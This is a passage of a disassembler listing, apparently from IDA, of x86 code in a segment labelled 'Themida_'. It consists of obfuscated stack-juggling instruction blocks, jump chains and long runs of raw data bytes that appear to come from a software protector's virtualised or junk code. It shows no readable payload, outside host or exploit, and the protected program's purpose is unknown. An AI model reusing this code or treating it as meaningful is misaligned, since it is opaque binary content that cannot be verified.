mov esp, [esp] sub esp, 4 jmp loc_54D56C ; --------------------------------------------------------------------------- db 83h dd 78E902C3h, 89FFFF99h, 4C581E5h, 81000000h, 4C5h, 242C8700h dd 9D7DE95Ch, 0B60FFFFFh, 48F66C0h, 9B15E987h, 0F801FFFFh dd 0FFCDACE9h, 243433FFh, 33243431h, 0E95C2434h, 0FFFFEA06h ; --------------------------------------------------------------------------- loc_54C4F8: ; CODE XREF: Themida_:0054BFB3j add ebp, edx push edi jmp loc_54D63E ; --------------------------------------------------------------------------- dd 5B66FA28h, 0E904EC83h, 2CCBh, 240C8B66h, 9EEE956h, 1A680000h dd 0E9000014h, 2916h, 0D2DD829h, 0E948430Dh, 0FFFFE2D0h dd 47A25BEh, 5EF02942h, 4C71872Dh, 94BE5648h, 2D37995Ah dd 764E540Dh, 4C68F029h, 8900003Ah, 0DBD242Ch, 1764E54h dd 837FE9E8h, 0AFBAFFFFh, 0BF175B39h, 175B39D3h, 431FC781h dd 38E935BAh db 8Eh, 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_54C56F: ; CODE XREF: Themida_:00547493j mov ebp, esp add ebp, 4 add ebp, 4 jmp loc_54AE8C ; --------------------------------------------------------------------------- loc_54C57F: ; CODE XREF: Themida_:005476A4j pop esp jmp loc_543165 ; --------------------------------------------------------------------------- db 58h, 87h, 0Ch aLRs db '$$$R\',9,0 align 2 dw 515Ah dd 0EDD0D7B5h, 0E935CD80h, 1558h, 4C4835Bh, 0E902C183h dd 0FFFF9E61h, 5B66DA28h, 53241C8Bh, 0FFA855E9h, 4C681FFh dd 87000000h, 0F5C2434h, 76F468C8h, 4890000h, 6B93E924h dd 0F729FFFFh, 0D8C6815Eh, 124F70Ch, 0D8EE81FEh, 5F24F70Ch dd 4EC81h, 2C890000h, 3B55BD24h, 0F58119E2h, 19E23B57h dd 45A7EE81h, 0C6813060h, 6EBB25D7h, 15D1E9h db 0 ; --------------------------------------------------------------------------- loc_54C609: ; CODE XREF: Themida_:0054AAC4j add esi, 67ED095Bh add esi, ebx sub esi, 67ED095Bh pop ebx xor esi, [esp] xor [esp], esi xor esi, [esp] pop esp jmp loc_5460EF ; --------------------------------------------------------------------------- db 50h dd 4B8h, 37716800h, 14890000h, 7894E924h, 1005FFFFh, 8B558006h dd 0C481243Ch, 4, 0FF9F80E9h, 9EA81FFh, 0F7358D2Ah, 1EF281DAh dd 0E9D189D7h, 0D34h, 5059CB29h, 11A9E9h, 9AC98000h, 0E901C180h dd 1614h, 0D668515Ch, 8900005Bh, 1AE92424h, 54FFFFAAh dd 8124048Fh, 42404h, 0F3E90000h, 8FFFFFF7h, 0E95C2404h dd 189Ah ; --------------------------------------------------------------------------- loc_54C69C: ; CODE XREF: Themida_:00549C7Aj mov ebx, [esp] add esp, 4 add eax, 7EE83B38h add eax, edi sub eax, 7EE83B38h push 39B6h mov [esp], ebx push eax mov eax, 0 mov ebx, eax pop eax add ebx, eax xor dword ptr [ebx], 3BF20448h jmp loc_54A82B ; --------------------------------------------------------------------------- loc_54C6CC: ; CODE XREF: Themida_:0054A29Ej push edi jmp loc_544C6E ; --------------------------------------------------------------------------- dw 34FFh dd 0DD8DE924h db 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_54C6DA: ; CODE XREF: Themida_:00543F15j shr eax, 0Bh xor ecx, eax push edx jmp loc_5460C8 ; --------------------------------------------------------------------------- db 55h, 0BDh, 0D0h dd 0E92F3A48h, 28Fh, 9B6355BEh, 5EF53122h, 815DE901h, 4E9h dd 240C8700h, 243C895Ch, 0BB53E789h, 70DE2F1Fh, 2F1BF381h dd 0DF0170DEh, 0ABB9515Bh, 415A8D18h, 8107E1C1h, 73AA02C1h dd 59CF01B9h, 31243C33h, 3C33243Ch, 24248B24h, 240CD366h dd 6A23E99Ch, 0EA80FFFFh, 80CA00C3h, 0B9E9C3C2h, 8BFFFFCAh dd 0C483242Ch, 5CF58104h, 5F47DA7Fh, 815DE829h, 435F5BEBh dd 4BB8506Eh, 2974C552h, 575658C3h, 0C7875BFh, 0B8EDBE55h dd 0FE299D10h, 0E9F3015Fh, 2CAAh, 37E9EB29h, 57FFFFB3h dd 0D8E9E789h, 0E9FFFFEEh, 0FFFF69CDh, 0F180D9F6h, 57F180A6h dd 1935E9h, 4BA00h, 0D7010000h, 4C7835Ah, 81E68956h, 4C6h dd 4EE8100h, 0E9000000h, 10E9h ; --------------------------------------------------------------------------- loc_54C7C4: ; CODE XREF: Themida_:0054E877j mov ecx, ebx pop ebx shl ecx, 5 push esi mov esi, 65203293h shl esi, 1 or esi, 56A908B3h add esi, 41A52AADh jmp loc_544B4A ; --------------------------------------------------------------------------- db 81h dd 4C4h, 783F6800h, 2FE90000h, 53FFFF9Bh, 0FA4B14BBh, 58CB8116h dd 4B52E01Dh, 568DC381h, 0C3816236h, 15874706h, 5E9D3F7h dd 53FFFF99h, 0EBC00BB3h, 40E38003h, 0C3FEDBF6h, 8033E380h dd 0D8E92AEBh, 28FFFFA1h, 4EC81D8h, 0E9000000h, 0FFFFEEEDh dd 5C241487h, 0FFA017E9h db 0FFh ; --------------------------------------------------------------------------- loc_54C841: ; CODE XREF: Themida_:0054BB47j sub esi, 6A3747E5h pop ebx sub esi, 2 push esi push dword ptr [esp+4] pop esi pop dword ptr [esp] mov esp, [esp] mov [esp], dx push ax pushf jmp loc_543165 ; --------------------------------------------------------------------------- db 0FFh dd 669D1C77h, 2414D259h, 68F3E99Ch db 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_54C872: ; CODE XREF: Themida_:0054AFB5j xor [esp+4], ecx mov ecx, [esp] add esp, 4 push dword ptr [esp] pop eax add esp, 4 jmp loc_54AEDC ; --------------------------------------------------------------------------- db 0B9h dd 0E260A783h, 51E9CB01h, 81FFFF82h, 301713EAh, 6E0DE968h dd 0BB53FFFFh, 1AD606BEh, 0A61FC4BEh, 0E9DE010Ah, 0FFFFB279h dd 55241489h, 0FFC6DFE9h, 0E6E95AFFh db 0C8h, 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_54C8C3: ; CODE XREF: Themida_:00544262j add esp, 4 add bl, al mov ax, [esp] add esp, 2 movzx eax, al jmp dword ptr [edi+eax*4] ; --------------------------------------------------------------------------- dd 1DE9C361h, 0B3000019h, 0FCC6E916h, 0E956FFFFh, 1F5Bh ; --------------------------------------------------------------------------- loc_54C8EC: ; CODE XREF: Themida_:0054CA27j add edi, 4 push edi push dword ptr [esp+4] pop edi pop dword ptr [esp] pop esp push eax mov eax, 0E3060A8Bh add esi, eax jmp loc_546EF0 ; --------------------------------------------------------------------------- db 52h, 89h, 0E2h dd 4C281h, 0C2830000h, 9ACCE904h, 8166FFFFh, 0E9D802EBh dd 0FFFF8DE4h, 4013B850h, 0E9571568h, 0FFFFBC02h, 0B0F2814Ah dd 8112EE12h, 0F22E44F2h, 0CF2815Dh, 89742354h, 0B9515AD7h dd 52843F7Dh, 0E959CF29h, 0FFFF8674h, 4F012D5Bh, 0D8297EBAh dd 0BA4F0105h, 2434FF7Eh, 0E954525Bh, 0FFFFB16Bh, 33240C31h dd 248B240Ch, 24148924h, 0E6E99C50h, 50FFFF67h, 0F6DC1B8h dd 6E9406Dh, 1FFFFEBh, 2952DF8h, 0E6E9181Ch, 81FFFF8Fh dd 4ECh, 48F5400h, 24048324h, 0E9515E04h, 0FFFFB213h, 5FBEE181h dd 0C1811846h, 4440F902h, 0FF6BA8E9h, 0D6BD55FFh, 8169FE7Bh dd 4438B7EDh, 5DEF2934h, 0FF72FFE9h, 0FE959FFh, 56FFFFB4h dd 25D1B951h, 4941566Ch, 0E10CC181h, 0CE89C17Ch, 0B1C68159h dd 313AD0ABh, 92E95EF7h db 0B5h, 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_54C9F7: ; CODE XREF: Themida_:00546476j mov al, 0B1h mov dh, 0D3h add dh, al pop eax jmp loc_54889C ; --------------------------------------------------------------------------- db 87h dd 895C240Ch, 51BA2414h, 4A48AE5Ah, 0FFFFEA81h, 32E9FFFFh db 0F6h, 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_54CA1B: ; CODE XREF: Themida_:0054E063j mov esi, [esp] push edi push esp pop edi add edi, 4 jmp loc_54C8EC ; --------------------------------------------------------------------------- dd 77E9D2F6h, 81FFFF97h, 2C23F2E7h, 5E7C130h, 91FFE956h db 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_54CA42: ; CODE XREF: Themida_:00547981j pop ebp jmp loc_548A9E ; --------------------------------------------------------------------------- dd 10F9B850h, 0C5890A0Fh, 8CF58158h, 0C1237E61h, 0C58107EDh dd 0FFAD1D20h, 565DEE01h, 42474FFh, 8124348Bh, 4C4h, 24048F00h dd 2824248Bh, 0E99C2404h, 0FFFFF825h, 0FF66E0E9h, 4C681FFh dd 83000000h, 348704C6h, 0CEE95C24h db 66h, 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_54CA97: ; CODE XREF: Themida_:0054ADD4j sub edi, 7FB6637Bh shr edi, 3 add edi, 0E456471Fh add ebp, edi jmp loc_54D9CC ; --------------------------------------------------------------------------- db 53h, 0B7h, 0B6h dd 664EE780h, 2454F653h, 0E95B6601h, 796h, 0FF66A0E9h dd 48B66FFh, 78616824h, 34890000h, 55E68924h, 3015E2BDh dd 83B8E973h, 0C829FFFFh, 5A545259h, 0F3DE9h, 4B69BB00h dd 0EBC115B8h, 1221E904h, 81580000h, 4E9h, 240C8700h, 243C895Ch dd 0C7815F54h, 4, 0FFB9B7E9h, 0C8B66FFh, 3F326824h, 34890000h dd 4EC8324h, 57242489h, 4BFh, 247C0100h, 34FF5F04h, 54535E24h dd 4C3815Bh, 83000000h, 1C8704C3h, 0F805E924h db 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_54CB46: ; CODE XREF: Themida_:0054DD64j xor bh, 3 xor cl, bh pop ebx shl cl, 2 add cl, 31h sub bl, 0EEh add bl, cl add bl, 0EEh pop ecx movzx eax, al mov dx, [esp] push 3E78h mov [esp], esi mov esi, esp push eax push ecx mov ecx, 46D92C74h jmp loc_546842 ; --------------------------------------------------------------------------- dd 784C94BBh, 4E3C14Ah, 6802E3C1h, 5F7Ch, 56241C89h, 0CE7E9h db 0 ; --------------------------------------------------------------------------- loc_54CB91: ; CODE XREF: Themida_:0054CC5Bj pop esp or [esp], eax pushf jmp loc_543165 ; --------------------------------------------------------------------------- loc_54CB9B: ; CODE XREF: Themida_:0054A6C7j add edi, 2934450Dh push esi mov esi, edi mov eax, esi mov esi, [esp] add esp, 4 jmp loc_54D49A ; --------------------------------------------------------------------------- db 0BFh, 2, 0 dd 0FD010000h, 0FFA515E9h, 240489FFh, 3C240481h, 8F3FAE01h dd 57534047h, 557D00BFh, 474E95Ah, 885C0000h, 0E95B871Ch dd 0FFFF6585h, 4C481h, 0ED810000h, 3C9323A5h, 51D1C681h dd 0C6815E78h, 3B2A34BDh, 0B951EE01h, 798C653Bh, 0FFB561E9h dd 0E95150FFh, 0FFFFDE6Fh, 58E130h, 240C8BC8h, 4C481h dd 502C0000h, 0FFC7F9E9h, 8B5453FFh, 0C481241Ch, 4, 4C381h dd 0E9510000h, 0FFFFA9A2h, 4C481h, 0EC830000h, 242C8904h dd 0FF8C8CE9h, 0E95358FFh, 0FFFFCA09h, 0E9241489h, 0FFFFB959h ; --------------------------------------------------------------------------- loc_54CC58: ; CODE XREF: Themida_:0054F1C5j xchg esi, [esp] jmp loc_54CB91 ; --------------------------------------------------------------------------- dd 0E904EC83h, 15CDh, 0EC81E389h, 4, 0B9240C89h, 12140DF7h dd 0FFBBCBE9h db 0FFh ; --------------------------------------------------------------------------- loc_54CC7D: ; CODE XREF: Themida_:005452C3j add edx, eax add edx, 256B076Fh push eax mov eax, 0 add eax, edx mov ecx, [eax] pop eax mov edx, [esp] push edi mov edi, esp jmp loc_5446B8 ; --------------------------------------------------------------------------- db 0C1h dd 0F2E905EBh, 81FFFF6Bh, 68F585C7h, 5FF8016Ch, 0FFBA27E9h dd 78C381FFh, 162F730h, 78EB81C3h, 5062F730h, 614D60B8h dd 58C32902h, 6CEBEB81h, 0FF663288h, 0FDAAE930h, 34FFFFFFh dd 0C9B7E924h, 0D5F7FFFFh, 0D0E4E945h, 5E52FFFFh, 0FFB15AE9h dd 2BEF80FFh, 1C8BFA88h, 4C48124h, 88000000h, 0AF1DE9D7h dd 0E181FFFFh, 638371C6h, 46D4F181h, 0C801148Bh, 2EE95B59h dd 8100000Dh, 0DA49ECEDh, 0B4BF5725h, 0E9209285h, 0FFFFB27Eh dd 0C3815B58h, 4, 4C381h, 0FF530000h, 5B042474h, 8B24048Fh dd 28E92424h, 89FFFFF5h, 24148BD5h, 0E904C483h, 1711h dd 4240481h, 5B000000h, 4C381h, 0FDE90000h, 8BFFFFC9h dd 0E957240Ch, 0FFFFF36Eh ; --------------------------------------------------------------------------- loc_54CD70: ; CODE XREF: Themida_:0054B8C1j xor [esp], edi xor edi, [esp] jmp loc_545ADD ; --------------------------------------------------------------------------- db 54h dd 8324048Bh, 0B95104C4h, 78C81631h, 0AADE9h, 0E9535E00h dd 0FFFFBBA3h, 34875F5Bh, 24248B24h, 0E99CC884h, 0FFFF63C1h dd 24048F54h, 4240481h, 59000000h, 0FFF38AE9h, 2C481FFh dd 53000000h, 65B3E951h, 248BFFFFh, 24148924h, 0EEC0C2B6h dd 8EEC005h, 0E905E6C0h, 0FFFF878Eh, 4702E7C1h, 0D869C781h dd 9CE91A7Ah, 51FFFFE9h, 0FB0AE5B9h, 81E9D11Bh, 264525E9h dd 0E9D1F739h, 0FFFFD4B3h, 285318BDh, 1D5BE972h, 32FF0000h dd 0FFDF3EE9h, 241C87FFh, 240C895Ch, 81E78957h, 4C7h, 4EF8300h dd 5C243C87h, 0B4240489h, 58E5884Eh, 5759E830h, 0BE56E789h dd 32FC7FDAh, 802AC681h, 0F701CD03h, 4BB535Eh, 0E9000000h dd 0E8h, 66D8005Ah, 2FC6685Bh, 0C890000h, 663AB524h, 8036B353h dd 0DD0026C5h, 6626ED80h, 7DCD805Bh, 5094CD80h, 405E089h dd 2D000000h, 2, 5C240487h, 24048966h, 0E2E914B0h, 89FFFF9Fh dd 0E9535DEEh, 0FFFF7749h, 875DE901h, 8B5C240Ch, 0C4832404h dd 85BB5304h, 2D0CE41Ah, 2A930D6Bh, 8B5E9h, 5AD78900h dd 15FFE29h, 0B1E6E9F0h, 8957FFFFh, 4C781E7h, 81000000h dd 4EFh, 243C8700h, 242C895Ch, 0EEBFE956h, 0EF81FFFFh dd 2CBFCD07h, 815FFD89h, 0FDED02C5h, 0F896E90Fh, 0E289FFFFh dd 4C281h, 0C2810000h, 4, 0E9241487h, 0FFFFF770h, 4A5768h dd 48F5400h, 24048124h, 4, 0CBBAE95Eh db 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_54CF1A: ; CODE XREF: Themida_:00545368j add ecx, 4 xchg ecx, [esp] mov esp, [esp] or eax, eax jmp loc_549EF6 ; --------------------------------------------------------------------------- aS_5 db ')=',7,0 align 4 dd 875BDF29h, 83E9243Ch, 8BFFFFFEh, 89522404h, 2E5E9E2h dd 3C290000h, 0E7C15F24h, 2EFC108h, 0BB535251h, 68B67B9h dd 3C1FA5BAh, 5BDA3134h, 874EF287h, 3D1468F2h, 0C890000h dd 0FCE95324h, 58FFFFE0h, 0FF9FB3E9h, 327468FFh, 0E2E90000h dd 0F7FFFFBEh, 0E7CA81D2h, 812D2109h, 0A9D4FEF2h, 0FF17E9F3h db 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_54CF9A: ; CODE XREF: Themida_:00544773j push edx push dword ptr [esp+4] mov edx, [esp] add esp, 4 pop dword ptr [esp] mov esp, [esp] push dword ptr [edi+eax*4] push dword ptr [esp] pop eax push edi mov edi, esp add edi, 4 jmp loc_5431E6 ; --------------------------------------------------------------------------- loc_54CFC3: ; CODE XREF: Themida_:0054F05Dj dec ebp shl ebp, 8 xchg esi, ebp not esi jmp loc_54EAD2 ; --------------------------------------------------------------------------- dd 6439BE56h, 7401352Dh, 348B0424h, 4C48324h, 5A240481h dd 0E962406Ch, 0FFFF6179h, 90E9C801h db 77h, 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_54CFF3: ; CODE XREF: Themida_:00546D09j mov edx, [esp] add esp, 4 add eax, ebp pop ebp push edx mov edx, 4 add eax, edx pop edx xor eax, [esp] xor [esp], eax xor eax, [esp] pop esp loc_54D012: ; CODE XREF: Themida_:loc_54E3D3j push 7F6Fh mov [esp], ebx xor dword ptr [esp], 77BE3961h jmp loc_54E22D ; --------------------------------------------------------------------------- loc_54D026: ; CODE XREF: Themida_:00548AAFj and ecx, edx push dword ptr [esp] mov edx, [esp] add esp, 4 push ecx mov ecx, esp push ebx mov ebx, esp add ebx, 4 jmp loc_5436DF ; --------------------------------------------------------------------------- loc_54D042: ; CODE XREF: Themida_:00546ED7j push ecx mov ecx, edi jmp loc_54D36B ; --------------------------------------------------------------------------- dw 0FB89h dd 0C383435Fh, 9667E901h, 3C89FFFFh, 66DCE924h, 2D5EFFFFh dd 7A80FE02h, 581C4709h, 0FF9056E9h, 0E95F54FFh, 0FFFF613Dh dd 0FF241C89h, 0C15B240Ch, 0BD5505E3h, 0CF040020h, 835DEB29h dd 1C8904ECh, 24478F24h, 68241C8Bh, 27CAh, 89240489h, 405E0h dd 0C0830000h, 24048704h, 0E9D2315Ch, 0FFFFC6C2h ; --------------------------------------------------------------------------- loc_54D0B0: ; CODE XREF: Themida_:0054C4A4j sub ebx, edx pop edx jmp loc_544778 ; --------------------------------------------------------------------------- dd 8107E2C1h, 66E20EC2h, 2C8152C3h, 40297B24h, 0B9515E30h dd 2DD4605Eh, 0FF9B44E9h, 1C77FFFFh, 0D259669Dh, 0E99C241Ch dd 0FFFF6081h, 243C875Ch, 0FF9B1BE9h, 4C481FFh, 5A000000h dd 0FFCA3FE9h db 0FFh ; --------------------------------------------------------------------------- loc_54D0F9: ; CODE XREF: Themida_:00548DB7j sub edx, 1 jmp loc_549CF6 ; --------------------------------------------------------------------------- loc_54D101: ; CODE XREF: Themida_:00547412j xchg ebx, [esp] pop esp shr ecx, 7 push ebx push edi push eax jmp loc_547482 ; --------------------------------------------------------------------------- dd 0E904C483h, 0FFFFFBD5h ; --------------------------------------------------------------------------- loc_54D118: ; CODE XREF: Themida_:0054B997j push ecx mov ecx, 22FE72C3h jmp loc_545655 ; --------------------------------------------------------------------------- db 2Ch dd 0AB53E9F2h, 36E9FFFFh, 89FFFF60h, 87BF243Ch, 5484C71h dd 87069E7h, 0E72DF801h, 5F087069h, 47A2505h, 12B72D42h dd 0BA522B7Fh, 37CA323Dh, 81FFEA83h, 0A273EE2h, 2BBF575Ch dd 476EDC36h, 594E9h, 5EF78900h, 0FFF461E9h, 0E930FFFFh dd 0FFFF5FEDh, 5C241487h, 348BF289h, 265E924h, 89560000h dd 4C681E6h, 81000000h, 4EEh, 24348700h, 0FF67A9E9h, 0C18851FFh dd 0FF6431E9h, 4EC83FFh, 89243489h, 390568E6h, 14890000h dd 0BE685624h, 5E1E564Eh, 0FF95DBE9h db 0FFh ; --------------------------------------------------------------------------- loc_54D1C1: ; CODE XREF: Themida_:0054EE85j mov [esp], ecx mov ecx, 1 add [edi+24h], ecx mov ecx, [esp] push edx mov edx, esp push ebx jmp loc_54357D ; --------------------------------------------------------------------------- loc_54D1D8: ; CODE XREF: Themida_:005488E1j add al, cl mov cx, [esp] add esp, 2 sub al, 76h jmp loc_545B33 ; --------------------------------------------------------------------------- loc_54D1E8: ; CODE XREF: Themida_:00546B48j add ebp, 4 xchg ebp, [esp] pop esp xchg eax, [esp] pop esp add bx, 5A84h sub bx, 6478h sub bx, 0C81h add bx, ax jmp loc_5482D2 ; --------------------------------------------------------------------------- db 1, 0EFh, 5Dh dd 295FF889h, 48B2447h, 4C48124h, 56000000h, 0FF7B02E9h dd 8BC729FFh, 26E92404h, 81FFFFDDh, 4C2h, 0BDABE900h db 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_54D23A: ; CODE XREF: Themida_:00544F07j add ecx, ebp add ecx, 487F21E4h push dword ptr [esp] mov ebp, [esp] add esp, 4 add esp, 4 xchg ecx, [esp] jmp loc_544CE5 ; --------------------------------------------------------------------------- dw 0C780h dd 5BFA30F1h, 0FF5F7EE9h, 246C01FFh, 24448104h, 8C5C7E04h dd 0D965E950h, 0C581FFFFh, 4, 0FF6790E9h, 243C89FFh, 0C781E789h dd 4, 643168h, 24048900h, 4B8h, 0E9C70100h, 0FFFF99C8h dd 4B85055h, 89000000h, 0EB8158C5h, 5C911333h, 0C381EB29h dd 5C911333h, 0FFBC18E9h, 18F681FFh, 891C096Dh, 0ACC9E9F5h dd 0C681FFFFh, 306045A7h, 2434875Dh, 0FFE1F4E9h, 0FEE9D0FFh dd 16C180C1h, 6659CB28h, 6DB450h, 48B66E3h, 2C48124h, 0E9000000h dd 0FFFFF1E2h, 81243C8Bh, 4C4h, 0D7C38100h, 0E917726Eh dd 0FFFFE0C7h ; --------------------------------------------------------------------------- loc_54D308: ; CODE XREF: Themida_:005432B6j pop ecx jmp loc_546D21 ; --------------------------------------------------------------------------- dw 0E3C1h dd 0CC76E906h db 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_54D316: ; CODE XREF: Themida_:00547EF9j sub eax, 2FC007BFh sub eax, 70777E8Ah pop esi jmp loc_54553D ; --------------------------------------------------------------------------- loc_54D326: ; CODE XREF: Themida_:0054A5C5j pop ebp loc_54D327: ; CODE XREF: Themida_:0054B0F3j sub esp, 4 mov [esp], ebp mov ebp, ebx push ebp push ecx push esi mov esi, 264A7E18h mov ecx, esi jmp loc_544BD0 ; --------------------------------------------------------------------------- dw 8B66h dd 68552404h, 322Fh, 83242489h, 5D042404h, 4BA52h, 0DAE90000h db 6Ch, 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_54D35B: ; CODE XREF: Themida_:00546D96j mov edx, edi jmp loc_54E86B ; --------------------------------------------------------------------------- loc_54D362: ; CODE XREF: Themida_:00544EF7j pop esi push dword ptr [esp] jmp loc_544992 ; --------------------------------------------------------------------------- loc_54D36B: ; CODE XREF: Themida_:0054D045j mov ebp, ecx jmp loc_54BF10 ; --------------------------------------------------------------------------- dw 0E181h dd 45366BB9h, 4EC81h, 4890000h, 165DB824h, 0F748243Dh dd 5E8C1D0h, 0E904E0C1h, 0FFFFB765h, 0A85BE956h, 0DA28FFFFh dd 8B63C280h, 0C483241Ch, 0E9CAFE04h, 0FFFFF680h, 24048B66h dd 0E904EC83h, 0FFFFFC9Eh, 0A75546BAh, 8BD5292Bh, 0C4832414h dd 0A7A0E904h, 0E959FFFFh, 0FFFF6B59h, 795DDD68h, 0D0F75834h dd 86A22635h, 58C189CBh, 0C8BC801h, 29E95124h, 83FFFF77h dd 72E904C4h, 81FFFF5Dh, 0CB780BF6h, 0E0F5E943h, 0C380FFFFh dd 5BDA2844h, 287EF280h, 0D8005AD3h, 0DB2525Bh, 6603E2C0h dd 0B92FE953h, 815BFFFFh, 4ECh, 241C8900h, 0FFB373E9h dd 5B66FFh, 0E80058E5h, 0FFC8DBE9h db 0FFh ; --------------------------------------------------------------------------- loc_54D435: ; CODE XREF: Themida_:0054DFA0j mov esi, 53A5268h sub edx, esi pop esi add edx, 15F11C6Ah add edx, edi sub edx, 15F11C6Ah push eax mov eax, 72E97A2Dh shr eax, 7 and eax, 70FF073Eh or eax, 32E2815h xor eax, 6D5785Dh add edx, eax pop eax push dword ptr [edx] pop eax push dword ptr [esp] push dword ptr [esp] pop edx add esp, 4 add esp, 4 jmp loc_54DEA1 ; --------------------------------------------------------------------------- dw 0C281h dd 4, 0CD79E950h, 1489FFFFh, 24048124h, 37710130h, 0EAE1E958h db 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_54D49A: ; CODE XREF: Themida_:0054CBACj pop edi mov edx, eax pop eax jmp loc_54DF20 ; --------------------------------------------------------------------------- db 8Bh dd 0C4832404h, 0E3895304h, 40CE9h db 0 ; --------------------------------------------------------------------------- loc_54D4B1: ; CODE XREF: Themida_:00543C3Fj pop edi pop dword ptr [esp] jmp loc_543D9C ; --------------------------------------------------------------------------- dw 0EB81h dd 79A1027Ah, 0B951EB01h, 4D1F3648h, 1724E181h, 0C1810909h dd 35467128h, 8105E9C1h, 537E43F1h, 59CB0178h, 0BE564B5Dh dd 43A963C1h, 2451E681h, 0DEF70B05h, 0FF7D07E9h, 2434FFFFh dd 4C4815Eh, 56000000h, 4B88BE66h, 4E68166h, 0CE816641h dd 81660D4Bh, 0E90707EEh, 0FFFFA62Ch, 79E9E5B5h, 0C1FFFFADh dd 0BAE908E2h db 0EEh, 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_54D527: ; CODE XREF: Themida_:0054D9C7j jmp loc_543165 ; --------------------------------------------------------------------------- dd 58C0C681h, 0C6811E30h, 32CC5485h, 83243C8Bh, 226804C4h dd 8900007Fh, 0BF572434h, 5B5379F0h, 4247C31h, 0FCE95F5Fh dd 55FFFF94h, 2BDh, 6F4EE900h db 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_54D562: ; CODE XREF: Themida_:0054B6EFj mov edi, 4 jmp loc_54AFC0 ; --------------------------------------------------------------------------- loc_54D56C: ; CODE XREF: Themida_:0054C4B2j mov [esp], edi jmp loc_54A1A2 ; --------------------------------------------------------------------------- dd 0B5515A66h, 0FED5F676h, 7BCD80CDh, 0E92CCD80h, 146Bh dd 6D23BD55h, 0ED81754Bh, 6C2C605Fh, 2C8BEE31h, 4C48124h dd 89000000h, 37E95EF2h, 5FFFFF5Eh, 0FF5E62E9h, 979605FFh dd 0C3296F32h, 0E9EB2958h, 0FFFFB950h, 0E8EEE959h, 4F58FFFFh dd 35F7EF81h, 0FE0112DFh, 0FFAED5E9h, 0E9E289FFh, 0FFFFD5A6h ; --------------------------------------------------------------------------- loc_54D5D8: ; CODE XREF: Themida_:00548E7Fj mov eax, [esp] jmp loc_546827 ; --------------------------------------------------------------------------- loc_54D5E0: ; CODE XREF: Themida_:00545E64j add esp, 4 shr eax, 12h xor eax, ecx push 7EAFh mov [esp], eax push ebp mov eax, [esp] add esp, 4 pop ebp xchg eax, ebp xchg eax, edx not edx xchg eax, edx xchg eax, ebp push eax mov eax, esp add eax, 4 sub eax, 4 xchg eax, [esp] jmp loc_549FDA ; --------------------------------------------------------------------------- db 2Ch, 37h, 0E9h dd 0FFFF8CFEh, 0E7E9C820h, 5FFFFF89h, 3943BE35h, 0A37BE922h dd 0C781FFFFh, 0DCE13CD8h, 3EE9FB01h, 50FFFF9Ch, 0D190E951h db 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_54D63E: ; CODE XREF: Themida_:0054C4FBj mov edi, 21512DEEh sub ebp, edi pop edi jmp loc_546B4D ; --------------------------------------------------------------------------- db 5Ah dd 541E79BFh, 8BD70123h, 0C4812414h, 4, 247E79B9h, 5FF92946h dd 4246C81h, 740510E9h, 1161E9h, 6E95900h, 81FFFF8Bh, 2E489CC2h dd 0E8C28152h, 81AD3095h, 0F035F5C5h, 81D50175h, 0F035F5EDh dd 0B8505A75h, 4, 0FFD6B9E9h, 2414F7FFh, 7E2C15Ah, 792F281h dd 0BF5747C7h, 31957257h, 0F702E7C1h, 99E781DFh, 574C043Fh dd 5F2404FFh, 0BA8CE955h, 34FFFFFFh, 2434FF24h, 0E92434FFh dd 0FFFFB811h ; --------------------------------------------------------------------------- loc_54D6D4: ; CODE XREF: Themida_:00544414j xor ebx, esi pop esi push ebx pop ecx pop ebx add [esp+4], ecx pop ecx pop edx sub edx, 6C91006Fh sub esp, 4 jmp loc_54E171 ; --------------------------------------------------------------------------- loc_54D6EE: ; CODE XREF: Themida_:005474A3j push esp pop ebx push edi jmp loc_5478F9 ; --------------------------------------------------------------------------- dw 5957h dd 0FFE81DE9h, 0AECF81FFh, 0C1568569h, 70E904E7h, 8BFFFFE5h dd 0C4812414h, 4, 3D7FBF57h, 19E953C9h db 64h, 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_54D71F: ; CODE XREF: Themida_:0054DAA2j and ebp, 4A874F11h add ebp, 835DA072h add ebp, edx mov edx, [esp] jmp loc_546511 ; --------------------------------------------------------------------------- db 52h, 0BAh, 4 dd 89000000h, 0DDAE9D3h db 2 dup(0) ; --------------------------------------------------------------------------- loc_54D742: ; CODE XREF: Themida_:0054B093j xchg ebx, [esp] pop esp jmp loc_54D92A ; --------------------------------------------------------------------------- db 81h dd 4C4h, 74FF5000h, 0EDE90424h, 83FFFF83h, 1C8904ECh, 0D19FE924h dd 0D829FFFFh, 930D6B05h, 0F2E95B2Ah, 0B9FFFF59h, 2E460A3h dd 5EF18149h, 0C1060613h, 0C98108E1h, 1D674997h, 0FFF575E9h dd 4E3C1FFh, 0D09FF381h, 0DD3193A2h, 5DE8015Bh, 4CE94048h dd 2CFFFF8Eh, 7185E9F8h, 34FFFFFFh, 4BE95924h, 50FFFF9Eh dd 0FF7753E9h, 243C89FFh, 0FF8E1CE9h, 44F5BBFFh, 0C2816FCDh dd 5E90325Fh, 0EA81DA29h, 5E90325Fh, 24348B5Bh, 4C481h dd 0C2810000h, 4, 0E9241487h, 0FFFFB1FEh, 2C8BE901h, 0DAEE924h dd 0CF010000h, 1C6BEF81h, 33592A93h, 0AEE9243Ch, 20FFFF82h dd 0B25258C3h, 0D1CFE91Ah, 13B8FFFFh, 54DBB7Dh, 4FCC0EC6h dd 0AB30AB0Dh, 86E9481Ah db 0FDh, 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_54D827: ; CODE XREF: Themida_:00545344j mov ebp, 1D3B47B9h shl ebp, 5 xor ebp, 3ACD2464h jmp loc_547F71 ; 